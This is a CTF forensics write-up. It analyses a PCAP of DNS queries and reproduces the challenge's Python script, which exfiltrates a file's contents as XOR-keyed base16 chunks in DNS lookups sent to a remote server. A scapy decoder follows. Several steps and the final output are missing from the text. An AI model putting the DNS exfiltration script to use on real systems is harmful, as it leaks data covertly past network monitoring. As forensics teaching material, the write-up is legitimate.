The second step is some network forensics.
We are given a PCAP file. It is not too big, we can clearly observe three
events (all the addresses are on
.222(does not matter for the challenge)
.99performs dozens of DNS queries
Here is the Python script
#! /usr/bin/python3 import random import os # This is the "secret" data that is going to be sent f = open('data.txt','rb') data = f.read() f.close() print("[+] Sending %d bytes of data" % len(data)) print("[+] Cut in pieces ... ") # encrypt encodes the chunck l in base16 # l is also XORED with a random key, that is added in front of the final # payload chunk def encrypt(l): key = random.randint(13, 254) output = hex(key)[2:].zfill(2) # This AES is a bit weird but who am I to judge for i in range(len(l)): aes = ord(l[i]) ^ key) output += hex(aes)[2:].zfill(2) # Key + encoded data return output # udp_secure_tunneling actually performs the DNS query # The command is as follows: # host -t A <ENCODED_DATA>.local.tmux <DNS server> # It is fully synchronous and there is a sleep so the ordering of the DNS # queries is not very likely to be undefined. def udp_secure_tunneling(my_secure_data): mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data os.system(mycmd) os.system("sleep 1") # send_data sends a chunk of data (global variable), starting # at position s def send_data(s): global n n = n+1 # Each DNS query exfiltrates between 4 and 11 bytes length = random.randint(4,11) # There is a redundancy mechanism, in case of packet lost # If we send more bytes we can recover if we loose some packets? redundancy = random.randint(2,16) chunk = data[s:s+length+redundancy].decode("utf-8") # Redundancy marks are added to the payload chunk = "%04d%s"%(s,chunk) print("%04d packet --> %s.local.tux" % (n,chunk)) blob = encrypt(chunk) udp_secure_tunneling(blob) return s + length # Keep track of what remains to be sent cursor = 0 # As long as it remains some data, send data from cursor while cursor < len(data): cursor = send_data(cursor)
Please, take a look at the comments on the script.
We can understand that some secret payload has been sent using the DNS exfiltration technique. Its very simple: you just make a bunch of DNS queries, embedding the data in the domain that is queried.
The only real constraint of this technique is that the data has to be pure plaintext (as far as I know?) so you need some kind of encoding. The base64 is often chosen but here it is base16.
There is also a XOR operation... Each DNS query has its own key but really, it is no big deal as the key is sent alongside the cipher.
We will talk a bit more about the redundancy mechanism later. For now, we
just need to know that we could expect some data to be duplicated and that
redundancy marks (
chunk = "%04d%s"%(s,chunk)) are part of the payload.
We have tout bien compris so let's write a script that:
After a few copy/pastes here we go:
from scapy.all import rdpcap, DNSQR, DNSRR def extract(file_path): result = '' for p in rdpcap(file_path): if p.haslayer(DNSQR) and not p.haslayer(DNSRR): # It is a DNS query! # We remove the base domain qry = p[DNSQR].qname.decode().replace('.local.tux.', '') key = qry[0:2] # Extract the key rest = qry[2:] # What remains is the payload # Group the characters by two (base16) byTwo = [rest[i:i+2] for i in range(0, len(rest), 2)] # Base conversion, XOR and decode for c in byTwo: plain = int(c, 16) ^ int(key, 16) result += chr(plain) return result with open('output.txt', 'w+') as f: f.write(extract('cb52ae4d15503c598f0bb42b8af1ce51.pcap'))
Here is the content of
0000Congratulations!! Y0011ions!! You did it so f0020u did it so far! Here is 0030o far! Here is t0039ere is the link 0049 link in bas0059ase32 for0064 form: NB2HI4DTHIX0071NB2HI4DTHIXS6Y3UMYXGQ0077DTHIXS6Y3UMYXGQZLY0081XS6Y3UMYXGQZLY00853UMYXGQZLY0092ZLYOBZG0097ZGK43TN4XGM40103N4XGM4RPGU3TSODDME2DO0112U3TSODDME2DOZDBMNSTKY0122DOZDBMNSTKYZVMU3G0127MNSTKYZVMU3GIMZVGI4T MOJ01373GIMZVGI4T MOJQM0141ZVGI4T MOJQMM4DMMZTG42QU==0152MM4DMMZTG42QU===0159TG42QU=== _ 0163QU=== _ 0168 _ 0179 0183 0189 0196 0205 |0213 | |__ _0224 _____ ___ _0228___ ___ __ 0235_ __ _ __0243__ ___ ___ ___ _0253_ ___ ___0261__ |0265 | '_ \ / _ \ \0273/ _ \ \/ / '_ \| '_0283 '_ \| '__/ 0288| '__/ _ \/ __/ __0298/ __/ __|/0303 __|/ _ \ | | | | __/0310 \ | | | | __/> <| |0320| __/> <| |0328 <| |_) | | | 0333_) | | | __/\__ \_0342 __/\__ \__ \ (_) | |_| 0353 \ (_) | |_| |_|\0362|_| |_|\___/_/\_\ ._0371__/_/\_\ .__/|_| \___||__0382_/|_| \___||___/0389\___||___/_0397_/___/\___/ 0401_/\___/ 0409 0413 |0424 |_| 0431 0435 0443 0447 0453 0459
It looks promising but is very hard to read because of the redundancy. Pieces
of text are repeated, and the redundancy marks (
0030, etc) are
mixed with the content.
We can partially read the text: Here is the link in base32 form:. So let's extract the base32 chunk and put it on a single line:
Here is the Vim regex I used to clean up the string:
It matches on any piece of text similar to
ABCDEF0123ABCDEF (piece of text
(base32 charset), redundancy indicator (4 digits), redundancy text (same as
the piece of text)) and replaces it by
ABCDEF (the piece of text).
Repeatedly applying the regex produces the following string:
Which decodes to our flag:
You can click here for the next step.